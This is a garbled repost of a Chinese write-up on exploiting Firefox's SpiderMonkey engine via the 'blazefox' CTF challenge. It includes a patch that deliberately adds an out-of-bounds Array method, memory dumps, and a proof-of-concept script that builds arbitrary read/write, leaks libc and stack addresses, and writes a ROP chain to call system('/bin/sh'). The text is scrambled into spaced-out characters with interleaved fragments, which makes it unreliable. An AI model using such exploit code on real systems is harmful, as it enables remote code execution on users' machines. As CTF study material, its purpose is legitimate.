[15052] 2020-02-24_Firefox漏洞利用研究(一)

文档创建者:s7ckTeam
浏览次数:15
最后更新:2025-01-18
2020-02-24_Firefox漏洞利用研究(一) F i r e f o x K r i s t o n   F r e e B u f   2 0 2 0 - 0 2 - 2 4 S p i d e r M o n k e y F i r e f o x 使 使 J a v a S c r i p t J a v a S c r i p t J a v a S c r i p t S p i d e r M o n k e y C / C + + T r a c e M o n k e y J a g e r M o n k e y I o n M o n e k y O d i n M o n k e y I o n M o n k e y M o z i l l a   F i r e f o x J a v a S c r i p t p w n 2 o w n J I T S p i d e r M o n k e y F i r e f o x J a v a S c r i p t h t t p s : / / a r c h i v e . m o z i l l a . o r g / p u b / f i r e f o x / r e l e a s e s / 7 2 . 0 / s o u r c e / h t t p s : / / d e v e l o p e r . m o z i l l a . o r g / e n - U S / d o c s / M o z i l l a / P r o j e c t s / S p i d e r M o n k e y / B u i l d _ D o c u m e n t a t i o n p a t c h d i f f   - r   e e 6 2 8 3 7 9 5 f 4 1   j s / s r c / b u i l t i n / A r r a y . c p p - - -   a / j s / s r c / b u i l t i n / A r r a y . c p p         S a t   A p r   0 7   0 0 : 5 5 : 1 5   2 0 1 8   + 0 3 0 0 + + +   b / j s / s r c / b u i l t i n / A r r a y . c p p         S u n   A p r   0 8   0 0 : 0 1 : 2 3   2 0 1 8   + 0 0 0 0 @ @   - 1 9 2 , 6   + 1 9 2 , 2 0   @ @           r e t u r n   T o L e n g t h ( c x ,   v a l u e ,   l e n g t h p ) ;   } + s t a t i c   M O Z _ A L W A Y S _ I N L I N E   b o o l + B l a z e S e t L e n g t h P r o p e r t y ( J S C o n t e x t *   c x ,   H a n d l e O b j e c t   o b j ,   u i n t 6 4 _ t   l e n g t h ) + { +         i f   ( o b j - > i s < A r r a y O b j e c t > ( ) )   { +                 o b j - > a s < A r r a y O b j e c t > ( ) . s e t L e n g t h I n t 3 2 ( l e n g t h ) ; +                 o b j - > a s < A r r a y O b j e c t > ( ) . s e t C a p a c i t y I n t 3 2 ( l e n g t h ) ; +                 o b j - > a s < A r r a y O b j e c t > ( ) . s e t I n i t i a l i z e d L e n g t h I n t 3 2 ( l e n g t h ) ; +                 r e t u r n   t r u e ; +         } +         r e t u r n   f a l s e ; + } + + +   / *     *   D e t e r m i n e   i f   t h e   i d   r e p r e s e n t s   a n   a r r a y   i n d e x .     * @ @   - 1 5 7 8 , 6   + 1 5 9 2 , 2 3   @ @           r e t u r n   D e n s e E l e m e n t R e s u l t : : S u c c e s s ;   } + b o o l   j s : : a r r a y _ b l a z e ( J S C o n t e x t *   c x ,   u n s i g n e d   a r g c ,   V a l u e *   v p ) + { +         C a l l A r g s   a r g s   =   C a l l A r g s F r o m V p ( a r g c ,   v p ) ; +         R o o t e d O b j e c t   o b j ( c x ,   T o O b j e c t ( c x ,   a r g s . t h i s v ( ) ) ) ; +         i f   ( ! o b j ) +                 r e t u r n   f a l s e ; + +         i f   ( ! B l a z e S e t L e n g t h P r o p e r t y ( c x ,   o b j ,   4 2 0 ) ) +                 r e t u r n   f a l s e ; + +         / / u i n t 6 4 _ t   l   =   o b j . a s < A r r a y O b j e c t > ( ) . s e t L e n g t h ( c x ,   4 2 0 ) ; + +         a r g s . r v a l ( ) . s e t O b j e c t ( * o b j ) ; +         r e t u r n   t r u e ; + } + +   / /   E S 2 0 1 7   d r a f t   r e v   1 b 0 1 8 4 b c 1 7 f c 0 9 a 8 d d c f 4 a e e c 9 b 6 d 9 f c a c 4 e a f c e   / /   2 2 . 1 . 3 . 2 1   A r r a y . p r o t o t y p e . r e v e r s e   (   )   b o o l @ @   - 3 5 1 1 , 6   + 3 5 4 2 , 8   @ @           J S _ F N ( " u n s h i f t " ,                         a r r a y _ u n s h i f t ,             1 , 0 ) ,           J S _ F N I N F O ( " s p l i c e " ,                   a r r a y _ s p l i c e ,               & a r r a y _ s p l i c e _ i n f o ,   2 , 0 ) , +         J S _ F N ( " b l a z e " ,                         a r r a y _ b l a z e ,             0 , 0 ) , +           / *   P y t h o n i c   s e q u e n c e   m e t h o d s .   * /           J S _ S E L F _ H O S T E D _ F N ( " c o n c a t " ,             " A r r a y C o n c a t " ,             1 , 0 ) ,           J S _ I N L I N A B L E _ F N ( " s l i c e " ,         a r r a y _ s l i c e ,                 2 , 0 ,   A r r a y S l i c e ) , d i f f   - r   e e 6 2 8 3 7 9 5 f 4 1   j s / s r c / b u i l t i n / A r r a y . h - - -   a / j s / s r c / b u i l t i n / A r r a y . h         S a t   A p r   0 7   0 0 : 5 5 : 1 5   2 0 1 8   + 0 3 0 0 + + +   b / j s / s r c / b u i l t i n / A r r a y . h         S u n   A p r   0 8   0 0 : 0 1 : 2 3   2 0 1 8   + 0 0 0 0
f i r e f o x g i t   a p p l y   o o b . p a t c h p a t c h p a t c h j s : : a r r a y _ b l a z e B l a z e S e t L e n g t h P r o p e r t y 4 2 0 a r r a y a r r a y s p i d e r m o n k e y a r r a y j s : : V a l u e 0 x 1 3 3 7 0 x f f f 8 8 0 0 0 0 0 0 0 1 3 3 7 0 x f f f 8 8 i n t d o u b l e 3 2 b i t s A r r a y S p i d e r M o n k e y N u r s e r y   h e a p D e f a u l t H e a p N u r s e r y   h e a p 1 6 M B a r r a y A r r a y T y p e d A r r a y s N u r s e r y   h e a p A r r a y U i n t 8 A r r a y 0 x 1 4 2 e d b c 0 0 7 4 8 0 x 1 4 2 e d b c 0 0 7 a 8 S m a l l s 0 x 6 0 T y p e d A r r a y l a y o u t J a v a S c r i p t T y p e d A r r a y T y p e d A r r a y j s : : V a l u e r a w   b y t e s T y p e d A r r a y s j s : : T y p e d A r r a y O b j e c t j s : : A r r a y B u f f e r V i e w O b j e c t b u f f e r s i z e p o i n t e r + + +   b / j s / s r c / b u i l t i n / A r r a y . h         S u n   A p r   0 8   0 0 : 0 1 : 2 3   2 0 1 8   + 0 0 0 0 @ @   - 1 6 6 , 6   + 1 6 6 , 9   @ @   a r r a y _ r e v e r s e ( J S C o n t e x t *   c x ,   u n s i g n e d   a r g c ,   j s : : V a l u e *   v p ) ;   e x t e r n   b o o l + a r r a y _ b l a z e ( J S C o n t e x t *   c x ,   u n s i g n e d   a r g c ,   j s : : V a l u e *   v p ) ; + + e x t e r n   b o o l   a r r a y _ s p l i c e ( J S C o n t e x t *   c x ,   u n s i g n e d   a r g c ,   j s : : V a l u e *   v p ) ;   e x t e r n   c o n s t   J S J i t I n f o   a r r a y _ s p l i c e _ i n f o ; d i f f   - r   e e 6 2 8 3 7 9 5 f 4 1   j s / s r c / v m / A r r a y O b j e c t . h - - -   a / j s / s r c / v m / A r r a y O b j e c t . h         S a t   A p r   0 7   0 0 : 5 5 : 1 5   2 0 1 8   + 0 3 0 0 + + +   b / j s / s r c / v m / A r r a y O b j e c t . h         S u n   A p r   0 8   0 0 : 0 1 : 2 3   2 0 1 8   + 0 0 0 0 @ @   - 6 0 , 6   + 6 0 , 1 4   @ @                   g e t E l e m e n t s H e a d e r ( ) - > l e n g t h   =   l e n g t h ;           } +         v o i d   s e t C a p a c i t y I n t 3 2 ( u i n t 3 2 _ t   l e n g t h )   { +                 g e t E l e m e n t s H e a d e r ( ) - > c a p a c i t y   =   l e n g t h ; +         } + +         v o i d   s e t I n i t i a l i z e d L e n g t h I n t 3 2 ( u i n t 3 2 _ t   l e n g t h )   { +                 g e t E l e m e n t s H e a d e r ( ) - > i n i t i a l i z e d L e n g t h   =   l e n g t h ; +         } +           / /   M a k e   a n   a r r a y   o b j e c t   w i t h   t h e   s p e c i f i e d   i n i t i a l   s t a t e .           s t a t i c   i n l i n e   A r r a y O b j e c t *           c r e a t e A r r a y ( J S C o n t e x t *   c x , n e w   A r r a y ( 1 ,   2 ,   3 ,   4 ) ; c o n s t   S m a l l s   =   n e w   A r r a y ( 1 ,   2 ,   3 ,   4 ) ; c o n s t   U 8 A   =   n e w   U i n t 8 A r r a y ( 8 ) ; o b j e c t   1 4 2 e d b c 0 0 7 4 8     g l o b a l   3 c b b 0 6 b 7 c 0 6 0   [ g l o b a l ]     c l a s s   5 5 5 5 5 7 6 3 3 a 2 0   A r r a y     g r o u p   3 c b b 0 6 b 7 9 a 0 0     f l a g s :     p r o t o   < A r r a y   o b j e c t   a t   3 c b b 0 6 b 9 c 0 4 0 >     p r o p e r t i e s :         [ L a t i n   1 ] " l e n g t h "   ( s h a p e   3 c b b 0 6 b 8 9 b d 8   p e r m a n e n t   g e t t e r O p   5 5 5 5 5 5 8 b 3 2 1 9   s e t t e r O p   5 5 5 5 5 5 8 b 3 2 6 7 )     e l e m e n t s :             0 :   1             1 :   2             2 :   3             3 :   4 o b j e c t   1 4 2 e d b c 0 0 7 a 8     g l o b a l   3 c b b 0 6 b 7 c 0 6 0   [ g l o b a l ]     c l a s s   5 5 5 5 5 7 6 4 a 3 7 0   U i n t 8 A r r a y     g r o u p   3 c b b 0 6 b 7 9 b 8 0     f l a g s :     p r o t o   < U i n t 8 A r r a y P r o t o t y p e   o b j e c t   a t   3 c b b 0 6 b 7 f 1 a 0 >     p r i v a t e   1 4 2 e d b c 0 0 7 e 8     r e s e r v e d   s l o t s :             0   :   n u l l             1   :   8             2   :   0     p r o p e r t i e s : c l a s s   A r r a y B u f f e r V i e w O b j e c t   :   p u b l i c   N a t i v e O b j e c t {     p u b l i c :
0 x 1 4 2 e d b c 0 0 7 a 8 T y p e d A r r a y 0 x 1 4 2 e d b c 0 0 7 c 0 e m p t y E l e m e n t s H e a d e r + 0 x 1 0 ,   B U F F E R S L O T ,   L E N G T H S L O T ,   B Y T E O F F S E T S L O T ,   D A T A S L O T ,   I n l i n e   d a t a ( 8 ) j s : : V a l u e I n l i n e   b u f f e r T y p e d A r r a y e l e m e n t s _ j s . r d a t a 1 . T y p e d A r r a y e l e m e n t s _ b 9 j s 2 D A T A _ S L O T T y p e d A r r a y j s : : V a l u e A r r a y d o u b l e d o u b l e s a e l o d o u b l e r a w   b y t e s h t t p s : / / g i t h u b . c o m / 0 v e r c l 0 k / b l a z e f o x / b l o b / m a s t e r / e x p l o i t s / i n t 6 4 . j s h t t p s : / / g i t h u b . c o m / 0 v e r c l 0 k / b l a z e f o x / b l o b / m a s t e r / e x p l o i t s / u t i l s . j s d o u b l e i n t 3 2 T y p e d A r r a y D A T A _ S L O T d o u b l e 1 3 ( 9   +   4 ) l e n g t h 1 1 ( 9   +   2 ) 访 c D A T A _ S L O T 访 r a x 0 x d e a d c 0 d e d e a d b e e f     p u b l i c :         / /   U n d e r l y i n g   ( S h a r e d ) A r r a y B u f f e r O b j e c t .         s t a t i c   c o n s t e x p r   s i z e _ t   B U F F E R _ S L O T   =   0 ;         / /   S l o t   c o n t a i n i n g   l e n g t h   o f   t h e   v i e w   i n   n u m b e r   o f   t y p e d   e l e m e n t s .         s t a t i c   c o n s t e x p r   s i z e _ t   L E N G T H _ S L O T   =   1 ;         / /   O f f s e t   o f   v i e w   w i t h i n   u n d e r l y i n g   ( S h a r e d ) A r r a y B u f f e r O b j e c t .         s t a t i c   c o n s t e x p r   s i z e _ t   B Y T E O F F S E T _ S L O T   =   2 ;         s t a t i c   c o n s t e x p r   s i z e _ t   D A T A _ S L O T   =   3 ; / /   [ . . . ] } ; c l a s s   T y p e d A r r a y O b j e c t   :   p u b l i c   A r r a y B u f f e r V i e w O b j e c t l o a d ( ' u t i l s . j s ' ) l o a d ( ' i n t 6 4 . j s ' ) I n t 6 4 . f r o m D o u b l e ( 6 . 9 5 1 6 5 1 5 1 7 9 7 4 e - 3 1 0 ) . t o S t r i n g ( 1 6 ) v a r   f 6 4   =   n e w   F l o a t 6 4 A r r a y ( 1 ) ; v a r   u 3 2   =   n e w   U i n t 3 2 A r r a y ( f 6 4 . b u f f e r ) ; f u n c t i o n   d 2 u ( v )   {         f 6 4 [ 0 ]   =   v ;         r e t u r n   u 3 2 ; } f u n c t i o n   u 2 d ( l o ,   h i )   {         u 3 2 [ 0 ]   =   l o ;         u 3 2 [ 1 ]   =   h i ;         r e t u r n   f 6 4 [ 0 ] ; } f u n c t i o n   l o g ( l o ,   h i ) {     p r i n t ( ' 0 x '   +   h i . t o S t r i n g ( 1 6 )   +   l o . t o S t r i n g ( 1 6 ) ) ; } d 2 u ( 6 . 9 5 1 6 5 1 5 1 7 9 7 4 e - 3 1 0 ) ; c o n s o l e . l o g ( b [ 1 1 ] ) ; b [ 1 1 ]   =   1 3 3 7 ; c o n s o l e . l o g ( c . l e n g t h ) ; b [ 1 3 ]   =   u 2 d ( 0 x d e a d c 0 d e ,   0 x d e a d b e e f ) ; c o n s o l e . l o g ( c [ 0 ] ) ;
a r r a y T y p e d A r r a y A r r a y T y p e d A r r a y l e n g t h T y p e d A r r a y A r r a y a r r a y   c d c j s : : V a l u e c b a c k i n g   b u f f e r   T y p e d A r r a y i n l i n e   b a c k i n g   b u f f e r i n l i n e   b a c k i n g   b u f f e r a r r a y o f f s e t 1 4 1 . 沿 C F I 使 2 . v t a b l e 3 . J I T   f u n c t i o n 4 . J a v a S c r i p t   j s : : N a t i v e O b j e c t g r o u p j s : : O b j e c t G r o u p c l a s p c U i n t 8 A r r a y j s : : C l a s s c 0 p s J a v a S c r i p t c 0 p s c 0 p s b   =   n e w   A r r a y ( 1 , 2 , 3 , 4 , 5 , 6 ) ; c   =   n e w   U i n t 8 A r r a y ( 8 ) ; d   =   [ c ,   c ,   c ,   c ] ; b . b l a z e ( )   = =   u n d e f i n e d ; d u m p O b j e c t ( c ) ; 0 x 1 5 f 0 d 7 f 0 0 8 4 8 :   0 x 0 0 0 0 1 1 4 8 0 3 e 7 9 d 9 0             0 x 0 0 0 0 1 1 4 8 0 3 e a 6 7 1 8 0 x 1 5 f 0 d 7 f 0 0 8 5 8 :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0             0 x 0 0 0 0 5 5 5 5 5 6 d 6 9 1 d 0 0 x 1 5 f 0 d 7 f 0 0 8 6 8 :   0 x f f f a 0 0 0 0 0 0 0 0 0 0 0 0             0 x f f f 8 8 0 0 0 0 0 0 0 0 0 0 8 0 x 1 5 f 0 d 7 f 0 0 8 7 8 :   0 x f f f 8 8 0 0 0 0 0 0 0 0 0 0 0             0 x 0 0 0 0 1 5 f 0 d 7 f 0 0 8 8 8 0 x 1 5 f 0 d 7 f 0 0 8 8 8 :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0             0 x f f f e 2 d 2 d 2 d 2 d 2 d 2 d 0 x 1 5 f 0 d 7 f 0 0 8 9 8 :   0 x f f f e 2 d 2 d 2 d 2 d 2 d 2 d             0 x f f f e 2 d 2 d 2 d 2 d 2 d 2 d 0 x 1 5 f 0 d 7 f 0 0 8 a 8 :   0 x 0 0 0 0 1 1 4 8 0 3 e 7 9 d c 0             0 x 0 0 0 0 1 1 4 8 0 3 e 8 9 b d 8 0 x 1 5 f 0 d 7 f 0 0 8 b 8 :   0 x 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0             0 x 0 0 0 0 1 5 f 0 d 7 f 0 0 8 d 8 0 x 1 5 f 0 d 7 f 0 0 8 c 8 :   0 x 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 0             0 x 0 0 0 0 0 0 0 4 0 0 0 0 0 0 0 6 0 x 1 5 f 0 d 7 f 0 0 8 d 8 :   0 x f f f e 1 5 f 0 d 7 f 0 0 8 4 8             0 x f f f e 1 5 f 0 d 7 f 0 0 8 4 8 0 x 1 5 f 0 d 7 f 0 0 8 e 8 :   0 x f f f e 1 5 f 0 d 7 f 0 0 8 4 8             0 x f f f e 1 5 f 0 d 7 f 0 0 8 4 8 0 x 1 5 f 0 d 7 f 0 0 8 f 8 :   0 x f f f e 2 d 2 d 2 d 2 d 2 d 2 d             0 x f f f e 2 d 2 d 2 d 2 d 2 d 2 d f u n c t i o n   b 2 i ( b )   {         l e t   a n s   =   0 ;         b [ 7 ]   =   0 ;         b [ 6 ]   =   0 ;         f o r ( l e t   i   =   7 ;   i   > =   0 ;   i - - ) {                 a n s   =   a n s   *   0 x 1 0 0 ;                 a n s   + =   b [ i ] ;         }         r e t u r n   a n s ; } b   =   n e w   A r r a y ( 1 , 2 , 3 , 4 , 5 , 6 ) ; c   =   n e w   U i n t 8 A r r a y ( 8 ) ; d   =   n e w   A r r a y ( 1 3 3 7 ,   1 3 3 8 ,   1 ,   1 ) ; b . b l a z e ( )   = =   u n d e f i n e d ; b [ 1 4 ]   =   d ; / /   u s i n g   s h a l l o w   c o p y b y t e s   =   c . s l i c e ( 0 ,   8 ) ; a d d r   =   b 2 i ( b y t e s ) ; c o n s o l e . l o g ( a d d r . t o S t r i n g ( 1 6 ) ) ;
c l a s s c l a s s T y p e d A r r a y 0 x 5 5 5 5 5 7 6 4 a 3 8 0 U i n t 8 A r r a y 0 x 5 5 5 5 5 7 6 4 9 c 0 0 a d d P r o p e r t y 0 0 x 5 5 5 5 5 7 6 4 9 c 0 0 a d d P r o p e r t y U 8 A . c = 1 2 3 s h e l l R O P C T F e r 1 . 2 . G O T l i b c R O P 使 3 . s t a c k 4 . ( ' / b i n / s h '   o r   ' / b i n / k c a l c ' ) 5 . R O P w a s m c h r o m e v 8 使 w a s m w a s m s h e l l c o d e s h e l l c o d e S p i d e r M o n k e y w a s m c o d e s h e l l c o d e j s w a s m c h r o m e v 8 s p i d e r m o n k e y c o n s t   S m a l l s   =   n e w   A r r a y ( 1 ,   2 ,   3 ,   4 ) ; c o n s t   U 8 A   =   n e w   U i n t 8 A r r a y ( 8 ) ; d u m p O b j e c t ( S m a l l s ) ; d u m p O b j e c t ( U 8 A ) ; c o n s o l e . l o g ( ' 1 2 3 ' ) ; U 8 A . c   =   1 2 3 ; ` c o n s o l e . l o g ` U 8 A ` 0 x 1 4 1 2 7 d f 0 0 7 a 8 ` d u m p O b j e c t c l a s s ` U i n t 8 A r r a y ` ` 0 x 5 5 5 5 5 7 6 4 a 3 7 0 ` o b j e c t   1 4 1 2 7 d f 0 0 7 a 8     g l o b a l   2 d a 1 c 0 3 7 c 0 6 0   [ g l o b a l ]     c l a s s   5 5 5 5 5 7 6 4 a 3 7 0   U i n t 8 A r r a y     g r o u p   2 d a 1 c 0 3 7 9 b 8 0     f l a g s :     p r o t o   < U i n t 8 A r r a y P r o t o t y p e   o b j e c t   a t   2 d a 1 c 0 3 7 f 1 a 0 >     p r i v a t e   1 4 1 2 7 d f 0 0 7 e 8     r e s e r v e d   s l o t s :             0   :   n u l l             1   :   8             2   :   0     p r o p e r t i e s : ( g d b )   p   T y p e d A r r a y C l a s s O p s $ 2   =   { a d d P r o p e r t y   =   0 x 0 ,   d e l P r o p e r t y   =   0 x 0 ,   e n u m e r a t e   =   0 x 0 ,   n e w E n u m e r a t e   =   0 x 0 ,   r e s o l v e   =   0 x 0 ,   m a y R e s o l v e   =   0 x 0 ,     f i n a l i z e   =   0 x 5 5 5 5 5 5 d 7 e 8 4 0   < j s : : T y p e d A r r a y O b j e c t : : f i n a l i z e ( J S F r e e O p * ,   J S O b j e c t * ) > ,   c a l l   =   0 x 0 ,   h a s I n s t a n c e   =   0 x 0 ,   c o n s t r u c t   =   0 x 0 ,     t r a c e   =   0 x 5 5 5 5 5 5 a 0 e b c 8   < j s : : A r r a y B u f f e r V i e w O b j e c t : : t r a c e ( J S T r a c e r * ,   J S O b j e c t * ) > } T h r e a d   1   " j s "   r e c e i v e d   s i g n a l   S I G S E G V ,   S e g m e n t a t i o n   f a u l t . 0 x 0 0 0 0 0 0 0 0 0 b a d c 0 d e   i n   ? ?   ( ) ( g d b ) l e t   w a s m _ c o d e   =   n e w   U i n t 8 A r r a y ( [ 0 ,   9 7 ,   1 1 5 ,   1 0 9 ,   1 ,   0 ,   0 ,   0 ,   1 ,   7 ,   1 ,   9 6 ,   2 ,   1 2 7 ,   1 2 7 ,   1 ,   1 2 7 ,   3 ,   2 ,   1 ,   0 ,   4 ,   4 ,   1 ,   1 1 2 ,   0 ,   0 ,   5 ,   3 ,   1 ,   0 ,   1 ,   7 ,   2 1 ,   2 ,   6 ,   1 0 9 ,   1 0 1 ,   1 0 9 ,   1 1 1 ,   l e t   w a s m _ m o d   =   n e w   W e b A s s e m b l y . I n s t a n c e ( n e w   W e b A s s e m b l y . M o d u l e ( w a s m _ c o d e ) ,   { } ) ; l e t   f   =   w a s m _ m o d . e x p o r t s . _ Z 3 a d d i i ; f ( ) ;
:   h t t p s : / / p a n . b a i d u . c o m / s / 1 8 y f G 3 t E t 1 U u B Y s 5 y 6 v p A G Q   :   q d n t   P O C v a r   f 6 4   =   n e w   F l o a t 6 4 A r r a y ( 1 ) ; v a r   u 3 2   =   n e w   U i n t 3 2 A r r a y ( f 6 4 . b u f f e r ) ; f u n c t i o n   d 2 u ( v )   {         f 6 4 [ 0 ]   =   v ;         r e t u r n   u 3 2 ; } f u n c t i o n   u 2 d ( l o ,   h i )   {         u 3 2 [ 0 ]   =   l o ;         u 3 2 [ 1 ]   =   h i ;         r e t u r n   f 6 4 [ 0 ] ; } f u n c t i o n   l o g ( l o ,   h i ) {         p r i n t ( ' 0 x '   +   h i . t o S t r i n g ( 1 6 )   +   l o . t o S t r i n g ( 1 6 ) ) ; } f u n c t i o n   b 2 i ( b y t e s )   {         l e t   a n s   =   0 ;         b y t e s [ 7 ]   =   0 ;         b y t e s [ 6 ]   =   0 ;         f o r ( l e t   i   =   7 ;   i   > =   0 ;   i - - ) {                 a n s   =   a n s   *   0 x 1 0 0 ;                 a n s   + =   b y t e s [ i ] ;         }         r e t u r n   a n s ; } f u n c t i o n   r e a d ( l o ,   h i ) {         l e t   t m p   =   0 ;         b [ 1 3 ]   =   u 2 d ( l o ,   h i ) ;         t m p   =   b 2 i ( c . s l i c e ( 0 ,   8 ) ) ;         r e t u r n   t m p ; } f u n c t i o n   l o n g _ r e a d ( a ) {         l e t   l o   =   a   %   0 x 1 0 0 0 0 0 0 0 0 ;         l e t   h i   =   a   /   0 x 1 0 0 0 0 0 0 0 0 ;         r e t u r n   r e a d ( l o ,   h i ) ; } f u n c t i o n   w r i t e 3 2 ( l o ,   h i ,   v ) {         l e t   t m p   =   [ ] ;         b [ 1 3 ]   =   u 2 d ( l o ,   h i ) ;         f o r ( l e t   i   =   0 ;   i   <   7 ;   + + i ) {                 t m p [ i ]   =   ( v   %   0 x 1 0 0 )   &   0 x f f ;                 v   =   p a r s e I n t ( v   /   0 x 1 0 0 ) ;         }         c . s e t ( t m p ) ; } f u n c t i o n   i n t _ w r i t e ( a ,   v ) {         l e t   l o   =   a   %   0 x 1 0 0 0 0 0 0 0 0 ;         l e t   h i   =   a   /   0 x 1 0 0 0 0 0 0 0 0 ;         r e t u r n   w r i t e 3 2 ( l o ,   h i ,   v ) ; } b   =   n e w   A r r a y ( 1 , 2 , 3 , 4 , 5 , 6 ) ; c   =   n e w   U i n t 8 A r r a y ( 8 ) ; b . b l a z e ( )   = =   u n d e f i n e d ; d 2 u ( b [ 9 ] ) ; j s _ a d d r _ l o   =   u 3 2 [ 0 ]   -   0 x 1 8 1 5 1 d 0 ; j s _ a d d r _ h i   =   u 3 2 [ 1 ] ; / / l e a k   l i b c   a d d r e s s m e m s e t _ g o t _ l o   =   j s _ a d d r _ l o   +   0 x 0 0 0 0 0 2 1 6 0 1 e 8 ; m e m s e t _ g o t _ h i   =   j s _ a d d r _ h i ; m e m s e t _ l i b c   =   r e a d ( m e m s e t _ g o t _ l o ,   m e m s e t _ g o t _ h i ) ; l i b c _ b a s e   =   m e m s e t _ l i b c   -   0 x 1 6 4 b 7 0 ; / / c a l c u l a t e   s o m e   i m p o r t a n t   a d d r e s s e n v i r o n _ a d d r   =   l i b c _ b a s e   +   0 x 1 c 4 1 2 0 ; p o p _ r d i _ a d d r   =   l i b c _ b a s e   +   0 x 0 0 0 0 0 0 0 0 0 0 2 6 b 1 2 ; s y s t e m _ a d d r   =   l i b c _ b a s e   +   0 x 4 9 1 c 0 ; / / l e a k   s t a c k   a d d r e s s s t a c k _ a d d r   =   l o n g _ r e a d ( e n v i r o n _ a d d r ) ; / / c a l c u l a t e   t h e   r s p r s p _ v a l u e   =   s t a c k _ a d d r   -   0 x 1 2 d 8 ; p r i n t ( r s p _ v a l u e . t o S t r i n g ( 1 6 )   +   ' , '   +   p o p _ r d i _ a d d r . t o S t r i n g ( 1 6 )   +   ' , '   +   l i b c _ b a s e . t o S t r i n g ( 1 6 ) ) ; / / t r i g g e r   t h e   e x p l o i t   l i k e   t h e   c h a k r a c o r e   o n e S t r i n g . p r o t o t y p e . s l i c e . c a l l ( ' ' ,   {   v a l u e O f   :   ( )   = >   {                                                                         i n t _ w r i t e ( e n v i r o n _ a d d r   +   0 x 1 0 0 ,   0 x 6 e 6 9 6 2 2 f ) ;                                                                         i n t _ w r i t e ( e n v i r o n _ a d d r   +   0 x 1 0 4 ,   0 x 0 0 6 8 7 3 2 f ) ;                                                                         i n t _ w r i t e ( r s p _ v a l u e ,   p o p _ r d i _ a d d r   %   0 x 1 0 0 0 0 0 0 0 0 ) ;
* K r i s t o n F r e e B u f                                                                         i n t _ w r i t e ( r s p _ v a l u e   +   4 ,   p a r s e I n t ( p o p _ r d i _ a d d r   /   0 x 1 0 0 0 0 0 0 0 0 ) ) ;                                                                         i n t _ w r i t e ( r s p _ v a l u e   +   8 ,   ( e n v i r o n _ a d d r   +   0 x 1 0 0 )   %   0 x 1 0 0 0 0 0 0 0 0 ) ;                                                                         i n t _ w r i t e ( r s p _ v a l u e   +   1 2 ,   p a r s e I n t ( ( e n v i r o n _ a d d r   +   0 x 1 0 0 )   /   0 x 1 0 0 0 0 0 0 0 0 ) ) ;                                                                         i n t _ w r i t e ( r s p _ v a l u e   +   1 6 ,   s y s t e m _ a d d r   %   0 x 1 0 0 0 0 0 0 0 0 ) ;                                                                         i n t _ w r i t e ( r s p _ v a l u e   +   2 0 ,   p a r s e I n t ( s y s t e m _ a d d r   /   0 x 1 0 0 0 0 0 0 0 0 ) ) ;                                                                 } } ) ;

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则